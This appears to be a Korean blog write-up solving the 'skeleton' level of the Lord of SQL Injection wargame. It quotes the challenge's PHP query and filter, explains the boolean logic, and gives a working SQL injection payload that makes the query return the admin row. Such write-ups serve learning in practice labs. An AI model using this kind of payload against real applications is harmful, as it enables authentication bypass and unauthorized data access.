Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- 세션
- cookie 탈취
- sql injection point
- 웹개발
- Reflected Xss
- Error based sql injection
- lord of sqli
- Python
- lord of sql injection
- 로그인페이지
- file upload
- JWT
- php
- CTF
- union sql injection
- XSS
- 과제
- 쿠키
- MySQL
- Cross Site Request Forgery
- sql injection
- 모의해킹
- JS
- 게시판 만들기
- 로그인
- blind sql injection
- css
- Los
- csrf
- cors
Archives
- Today
- Total
Almon Dev
[Lord of SQL Injection] skeleton 풀이 본문
LOS 풀이
skeleton
풀이
1. 코드 분석
GET 메서드 pw 파라미터 값을 쿼리에 삽입하고, 쿼리 결과의 id 값이 admin인 경우 문제가 풀립니다.
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
필터링은 prob _ . () 입니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
삽입한 pw이후의 and 1=0을 주석처리하면 쉽게 우회가 가능합니다만
저는 주석을 사용하지 않도록 하겠습니다.
where (id='guest' and pw='') or id='admin' or (1=1 and 1=0)
조건문으로 만들어서 id가 admin인 경우만 출력되도록 했습니다.
2. 쿼리 삽입
?pw='+or+id='admin'+or+'1'='1을 삽입하여 문제를 풉니다.
select id from prob_skeleton where id='guest' and pw='' or id='admin' or '1'='1' and 1=0
'모의해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] vampire 풀이 (0) | 2025.01.06 |
---|---|
[Lord of SQL Injection] troll 풀이 (1) | 2025.01.06 |
[Lord of SQL Injection] orge 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] darkelf 풀이 (0) | 2025.01.06 |
[Lord of SQL Injection] wolfman 풀이 (0) | 2025.01.06 |